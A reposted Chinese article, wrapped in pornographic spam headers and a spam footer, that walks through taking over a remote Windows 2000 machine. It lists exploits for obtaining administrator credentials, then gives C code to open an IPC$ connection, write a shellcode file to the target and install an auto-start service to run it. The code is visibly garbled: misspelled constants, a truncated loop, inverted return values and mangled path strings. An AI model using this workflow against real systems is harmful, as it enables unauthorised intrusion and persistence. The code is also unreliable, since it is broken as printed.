国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁(yè) > 學(xué)院 > 開(kāi)發(fā)設(shè)計(jì) > 正文

C/C++建立IPC連接之后續(xù)操作

2019-11-17 05:08:09
字體:
來(lái)源:轉(zhuǎn)載
供稿:網(wǎng)友

  如何建立ipC連接呢?不用我說(shuō),大家都知道:

  net use //ip//ipc$ passWord /user:user。在這里,我們應(yīng)想辦法得到Administrator的權(quán)限的帳戶和密碼,方法有很多:

  ⑴流光掃描

  ⑵NULL.PRinter緩沖區(qū)溢出

  ⑶MS SQL空密碼

  ⑷Unicode漏洞

 ?、蛇h(yuǎn)程終端輸入法漏洞

 ?、蔵dq.dll漏洞

  ……太多了!具體方法我就不說(shuō)了。

  得到Windows 2k administrator權(quán)限以后,可以做什么呢?想做什么就做什么唄!裝什么服務(wù)的,當(dāng)然是自己寫(xiě)的服務(wù)程序啦!你看s如何呢?下面就從編程的角度的來(lái)談?wù)?讀者要有一定的網(wǎng)絡(luò)編程基礎(chǔ),同時(shí)有的地方?jīng)]給出錯(cuò)誤檢查,有部分代碼是參考別人的。一些函數(shù)和結(jié)構(gòu)請(qǐng)參考MSDN。不足之處還請(qǐng)讀者自己完善,也可以和我交流:heavyd@cngale.com。下面請(qǐng)看:

  1、如何建立IPC連接,請(qǐng)看以下代碼:

BOOL ConnetIPC(char * RemoteName,char * User,char * PassWord)
{ char tmp[128]="http:////";
 strcat(tmp,RemoteName);
 strcat(tmp,"http://ipc$");
 NETRESOUCE NetResouce;
 NetResouce.lpRemoteName=tmp;
 NetResouce.dwType=RESOURCETYPE_ANY;
 NetResouce.lpProvider=NULL;
 if (WnetAddConnection2(&NetResouce,PassWord,User,FLASE)==NO_ERROR)
  //建立連接!
  return FALSE;
 else
  return TRUE;
}
  是不是很簡(jiǎn)單?對(duì)!就這么簡(jiǎn)單!那么,接著來(lái)吧!

  2、開(kāi)始把程序?qū)懙街鳈C(jī)上吧!

BOOL SendFile(char *RemotePathAndFile)
{
 HANDLE hRF;
 unsigned char ShellCode[]="write code here,such as /x90/x90";
 int WrittenSize=0;
 int Lenth=sizeof(ShellCode);
 hRF=CreateFile(RemotePathAndFile, GENERIC_ALL,FILE_SHARE_WRITE, NULL,
 CREATE_ALWAYS,
 FILE_ATTRIBUTE_NORMAL,
 NUL L);//建立文件
if (hRF==INVALID_HANDLE_values) return FALSE;
//寫(xiě)文件過(guò)程:
for(int i=0;i if(!WriteFile(hRF,&ShellCode,1,&WrittenSize,NULL)
return FALSE;
Printf("Send file succeed!/n");
}

  3、就要成功了,最后一步啦!--啟動(dòng)服務(wù)!

  步驟:a、啟動(dòng)服務(wù)控制治理器(SCM),獲得以SCM_HANDLE為類型的hSCM句柄;

     b、建立服務(wù)(CreateService),也是返回SCM_HANDLE型的句柄hSCS;

     c、啟動(dòng)服務(wù)(StartService)

     d、順便提提:ControService可以控制服務(wù)的狀態(tài)

     如: ControlService(hSCS,SERVICE_CONTROL_STOP,NULL);

       //停止服務(wù)

       ControlService(hSCS,SERVICE_CONTROL_PAUSE,NULL);

       //暫停服務(wù)

  請(qǐng)看下面代碼:

BOOL InstallService(char * Target,char * ServiceName,char * Filename,)

{
SC_HANDLE hSCM=NULL,hSCS=NULL;
SERVICE_STATUS ServiceStatus;
hSCM=OpenSCManager(Target,NULL,SC_MANAGER_ALL_access);
hSCS=CreateService(hSCM, //句柄
ServiceName,//服務(wù)開(kāi)始名
ServiceName,//顯示服務(wù)名
SERVICE_ALL_ACCESS,//服務(wù)訪問(wèn)類型
SERVICE_WIN32_OWN_PROCESS,//服務(wù)類型
SERVICE_AUTO_START,//自動(dòng)啟動(dòng)服務(wù)
SERVICE_ERROR_IGNORE,//忽略錯(cuò)誤
FileName,//啟動(dòng)的文件名
NULL,//name of load ordering group (載入組名)
NULL,//標(biāo)簽標(biāo)識(shí)符
NULL,//相關(guān)性數(shù)組名
NULL,//帳戶(當(dāng)前)
NULL);//密碼(當(dāng)前)

if(StartServic(hSCS,
argc,//參數(shù)數(shù)
argv);//參數(shù)
{
 Sleep(30);//延時(shí),開(kāi)始啟動(dòng)服務(wù)
while(QueryServiceStatus(hSCS,&ServiceStatus)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDDING)
Sleep(30);
else break;
}
if(ServiceStatus.dwCurrentState==SERVICE_RUNNING)
return TRUE;
else FALSE;
}
}

  好了,終于完成了這三步,大家可以慢慢享受自己的勞動(dòng)成果了!

  注重:以上程序僅供參考,請(qǐng)?jiān)谧约豪斫庖院笞约喊阉鼈儗?xiě)成完整的程序,不要直接照搬!




發(fā)表評(píng)論 共有條評(píng)論
用戶名: 密碼:
驗(yàn)證碼: 匿名發(fā)表
主站蜘蛛池模板: 咸宁市| 盐城市| 郓城县| 凯里市| 渝中区| 渝中区| 金阳县| 临城县| 天镇县| 洛浦县| 桃源县| 营口市| 比如县| 东乌珠穆沁旗| 余庆县| 迁西县| 邮箱| 新民市| 白沙| 双鸭山市| 铜梁县| 东至县| 长葛市| 玉林市| 梅河口市| 江川县| 永吉县| 和田县| 繁昌县| 绥江县| 曲周县| 静安区| 怀宁县| 博爱县| 资阳市| 蒙城县| 社会| 乡城县| 芷江| 牡丹江市| 始兴县|